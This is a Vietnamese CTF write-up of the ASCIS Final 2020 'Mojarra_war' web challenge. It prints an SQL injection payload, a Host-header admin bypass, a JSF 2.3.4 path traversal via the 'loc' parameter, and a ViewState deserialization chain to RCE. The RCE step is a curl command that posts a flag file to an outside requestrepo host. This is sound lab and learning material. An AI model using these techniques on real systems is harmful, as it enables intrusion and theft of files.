---
title: ASCIS FINAL 2020 WRITEUP WEB CHALLENGE - Mojarra_war
tags: ctf
---
Sau đợt thi học kì kết thúc năm 2 xong thì mình cũng rảnh nên quyết định kiếm vài chall java cũ mấy năm trước mà đấm (thực ra là bị nó đấm ngược 😗). Lướt trên git repo của mấy tiền bối thì bắt gặp một bài về java deserialization hay về JSF. Qua bài này thì mình học được rất nhiều thứ: setup + debug ... nhưng cũng tốn tầm 3 - 4 ngày để solved 😔. Không luyên thuyên nữa bắt tay vào chall thôi
Contact me : https://t.me/isthatgeorge3301
# Sơ lược về challenge
## Mô tả

## Set up
Bài này tác giả cho [source](https://drive.google.com/file/d/1gqSvfp0uyU9f4ogRCDL8W91yRtowTH2t/view) để build local. Có thể build thông qua `README.md` (docker) hoặc `README.txt` (cái này mình dùng để cài thẳng vào máy ảo cho việc remote debug, tí nữa sẽ đề cập cụ thể).
_Note:_ ở file `setup.sh`, chỉnh lại như sau để không bị lỗi `unrecognised service`

## Overview
Sau khi build thành công access tới <http://localhost:31337/mojarra_war/> thì sẽ hiện ra như sau:

Trang hiển thị ra các record của các team gồm `Team Name, Team Country, ...` và tác giả cũng đã gợi ý rằng challenge này bao gồm 2 flag và nhiệm vụ của ta là phải đi tìm chúng.
Gồm có các chức năng như `Update, Delete và Create New Team`:
- Update: chỉnh sửa thông tin của các team record
- Delete: xóa team record
- Create New Team: tạo mới một team record (chỉ có admin mới có quyền tạo)
Tiếp theo mình sẽ chia ra 2 phần để tìm flag
# Flag1
Sau khi tải source về sẽ có một file là `mojarra_war.war`, thực hiện giải nén file này ra và mở với IntelliJ IDEA để xem source của server: `jar xvf mojarra_war.war`

Loay hoay đọc source một hồi thì mình nhận ra ở class `SecurityUtils` có phương thức ngăn ngừa sqli

Để ý file `setup.sql`:

Tác giả đã che đi tên một table 🤔 từ đây suy ra được có lẽ đây là table chứa flag và ta cần khai thác sqli để đọc flag.
Ở `DatabaseOperation` (class để tương tác với mysql datase) cụ thể ở đoạn code này:
```java
public static String saveTeamDetailsInDB(TeamBean newTeamObj) {
int saveResult = false;
try {
if (SecurityUtils.SQL_filter(newTeamObj.getTeam_secret_message())) {
String insertTeam_query = String.format("insert into ascis_final_team (team_name, team_country, team_secret_status, team_secret_message) values ('VNSEC', 'VN', 0, '%s')", newTeamObj.getTeam_secret_message());
pstmt = getConnection().prepareStatement(insertTeam_query);
int saveResult = pstmt.executeUpdate();
connObj.close();
}
} catch (Exception var3) {
var3.printStackTrace();
}
return "TeamsList.xhtml?faces-redirect=true";
}
```
bị lỗi sqli. Bởi vì `prepareStatement()` được dùng sau khi `String.format()` vì vậy ta vẫn có thể inject được.
Vấn đề còn lại là làm sao để inject bởi vì muốn inject được thì ta phải sử dụng chức năng `Create New Team` và chỉ admin mới có quyền create. Nhưng có thực sự là **chỉ admin** mới được quyền không ?
Tiếp tục đọc source mình tìm thấy đoạn code sau được dùng để filter admin.

`serverName` phải là `peterjson.pw` và `serverPort` phải là `13337`. Thử bypass bằng cách thay đổi `Host` header:

Ok thành công. Nhưng trước khi sqli thì ta phải xóa bớt một vài team record hoặc xóa hết cũng được bởi vì server chỉ hiển thị ra 20 cái đầu tiên:

Payload sqli:
```
'), ((select group_concat(column_name) from information_schema.columns where table_name='ascis_final_team'),'x',1,'x
```
Gửi request:

Leak được column name của table `ascis_final_team`:

=> Tiếp tục áp dụng các payload để leak flag trong database thôi. Muốn thực tế hơn thì các bạn có thể tự tạo table để lưu flag và sqli để get flag. Vậy là xong flag1
# Flag2
## Phân tích
Muốn lấy được flag2 thì ta sẽ cần focus vào hint của tác giả ở description: `what common vulnerabilities on JSF ?`
Sau một hồi search thì mình khá chắc là lỗi deserialization trong JSF, đọc thêm ở [đây](https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization).
Nhắc đến deserialization trong java thì ta cần quan tâm đến source, sink và các gadgets để chain từ source đến sink:
- Gadget: các đoạn code có sẵn trong source code.
- Source: điểm bắt đầu của gadget chain.
- Sink: điểm cuối của gadget chain.
Ở bài này thì sink rất dễ thấy, nằm ở `scriptEngine.eval()` của phương thức `toString()` thuộc class `TeamBean`. Để chain tới `toString()` thì ta có thể dùng class `BadAttributeValueExpException` và set field `val` cho nó là một instance của class `Teambean` (tham khảo ở [đây](https://chowdera.com/2022/01/202201081129116419.html)).

Còn về phần script để đưa vào `eval()` thì có liên quan tới javascript engine trong java. Cụ thể là mình sẽ dùng `payload.js` ở bài viết [này](https://www.roguesecurity.in/2019/07/27/nashorn-remote-code-execution/). Vậy là xong phần "hậu" deserialize ViewState.
Bây giờ mình sẽ phân tích về phần "tiền" deserialize, cụ thể là làm sao để tạo ra một ViewSate hợp lệ và gửi đến server. Nhìn sơ qua file `web.xml` trong source code:

=> Sate được lưu ở client side và tác giả có nói là secret key sẽ khác so với trên server.

à và bảo chúng ta phải tìm key 🤔.
Để ý header `X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0 Java/Oracle Corporation/1.8)` và source code ta biết được server sử dụng JSF/2.3 framework và glassfish server version 5.0. Và bởi vì vậy mà cách lưu ViewSate cũng sẽ khác so với các version cũ hơn, có thể đọc ở [đây](https://stackoverflow.com/questions/28231372/com-sun-faces-clientstatesavingpassword-recommendations-for-actual-password) và [đây](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf).
Với các version cũ hơn thì serialized object sẽ được nén với gzip sau đó base64 encode:

Đối với version mới thì sau khi gzip sẽ được encrypt (trong bài này dùng AES) và áp dụng HMAC để đảm bảo tính integrity và confidentiality:

Vậy mảnh ghép còn thiếu cuối cùng chính là key để encrypt hay chính là `ClientSideSecretKey` mà tác giả bảo ta đi tìm.
Trong thư mục `lib` có 3 file `.jar`:

Vì có sẵn version nên thử search xem có vuln nào không thì may thay đối với `javax.faces-2.3.4.jar` mình tìm được:

Package vulnerable có version < 2.3.5, và cái của server đang dùng là 2.3.4 -> directory traversal để đọc file config.
Nhưng ở đây chỉ đề cập đến function và class bị lỗi, mình click vào một link github commit ở dưới để xem rõ hơn:

=> Khai thác bằng cách traversal ở `loc` param.
Về cách để hiện thực thì mình có tham khảo ở bài viết [này](https://www.synopsys.com/blogs/software-security/path-traversal-defects-oracles-jsf2-implementation/). Tiếp theo là thử đọc file `a.css`:


=> Đọc thành công.
Thử bỏ param `loc` đi xem thế nào:

=> Ta đã đi đúng hướng.
Nhưng khi đọc `web.xml` thì:

😢 Failed but why ???
Sau một hồi stuck thì mình quyết định đi hỏi tác giả và ...

Xem ra phải remote debug rồi 😱.
## Remote debug
### Server side
Mình tốn khá nhiều thời gian ở công đoạn này. Lúc đầu mình định remote debug bằng cách build server trong container và map port `9009` (port default cho debugging glassfish) ra ngoài sau đó dùng intellij idea để kết nối tới nhưng failed.

Chạy xong thì bị exit 🥺. Lúc này cũng đuối lắm rồi nên quyết định cài thẳng server vào máy ảo kali của mình rồi debug luôn. Để cài thì trong file `README.txt` có đề cập cụ thể rồi, chỉ cần thay đổi và thêm vài thứ:
```
su root
cd /opt/ && mkdir chall/
cp give_to_player_ascis_final.zip chall/
cd chall && unzip give_to_player_ascis_final.zip
give_to_player_ascis_final.zip
chmod +x setup.sh && ./setup.sh
```
Đoạn đầu thì vẫn làm theo như hướng dẫn ở trên (_Note:_ trong file `setup.sh` vẫn giữ nguyên là `apt-get install mariadb-server -y`). À nhớ tự tạo file flag để làm nhé.

Sau đó, gõ lệnh để setup database cho server:

Để debug được thì xài lệnh như bên dưới:

Vậy là đã hoàn thành set up ở server side.
### Client side
Để setup phía client thì làm theo các bước sau:
1. Tải bản `jdk-8u231` version window và dùng nó cho project của intellij idea
2. Chọn `Project Structure` -> `Libraries` -> `+` sau đó add các file `.jar` ở thư mục `lib` vào

3. Tiếp theo `Add configurations` và cấu hình như sau

`Host` ở đây mình để là địa chỉ IP của máy ảo.
Hiện như vầy nghĩa là đã kết nối thành công:

Dựa vào [link](https://www.synopsys.com/blogs/software-security/path-traversal-defects-oracles-jsf2-implementation/#:~:text=is%20made%20to-,com.sun.faces.application.resource.WebappResourceHelper.findResource(LibraryInfo%2C%20String%2C%20String%2C%20boolean%2C%20FacesContext),-that%20attempts%20to) khi nãy để set breakpoint tại `findResource` của class `WebappResourceHelper` (Tìm class: `CTRL + N`, tìm method: `CTRL + F12`, đặt breakpoint: `CTRL + F8`)

Đặt xong bp rồi thì access tới `http://192.168.169.132:31337/mojarra_war/javax.faces.resource./resources/css/a.css.jsf?loc=..` để xem cách hoạt động và sau khi `F8` một hồi thì nó dẫn ta tới:

Hmmm, vậy là tác giả đã chỉnh lại source và thêm vào `!resName.startsWith("WEB-INF")` 🥺. Ok đã tìm ra vấn đề, chỉnh lại 1 tí là đã có thể đọc được `web.xml`:

=> Có được key trên server.
Nói thêm một tí về source của gadgets chain, có thể tham khảo chain hoàn chỉnh ở đây: <https://www.cnblogs.com/nice0e3/p/16205220.html#mojarra-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%B0%83%E8%AF%95>

## Exploit
Nguyên liệu đã có đủ, các bước để exploit sẽ như sau:
1. Tạo một instance của `TeamBean`, set field `template` thành script để RCE với command: `curl -X POST -d @/opt/chall/flag.txt http://6gmo9p4b.requestrepo.com`
2. Tạo một instance của `BadAttributeValueExpException` và set field `val` là instance ở `1.`
3. Gzip dạng object serialized của `2.`
4. Base64encode + urlencode sau đó gửi đến server
_Note:_ mình dùng `Class.forName()` và đặt class `TeamBean` vào đúng package giống như trong source đã giải nén (`ascis.TeamBean`) nếu không sẽ bị lỗi `ClassNotFoundException`.
Project structure của mình:

À nhớ add library `javax.faces-2.3.4.jar` để có thể dùng các thư viện của nó cho việc viết script.
Về script thì chỉ hơi nhọc ở đoạn đọc source gốc và viết lại + chỉnh sửa khúc mà họ encrypt thôi. Mình sẽ úp lên [github](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Final/mojarra_war_solve/src) dành cho những ai có nhu cầu tham khảo.
Run `solve.java`:

Gửi request:

Flag:

# Lời kết
Thật sự khi giải ra được bài này mình rất vui, nó là thành tựu đầu tiên trên sự nghiệp học java security của mình. Nói thật thì mình cũng không nghĩ sẽ solved được. Từ giai đoạn setup -> debug -> solve, đã từng có lúc muốn mở wu người ta ra đọc 😔 nhưng sau cùng cũng tự giải được 😎. Rất mong chờ được học hỏi thêm nhiều điều từ các challenge của anh [peterjson](https://twitter.com/peterjson).
###### tags: ctf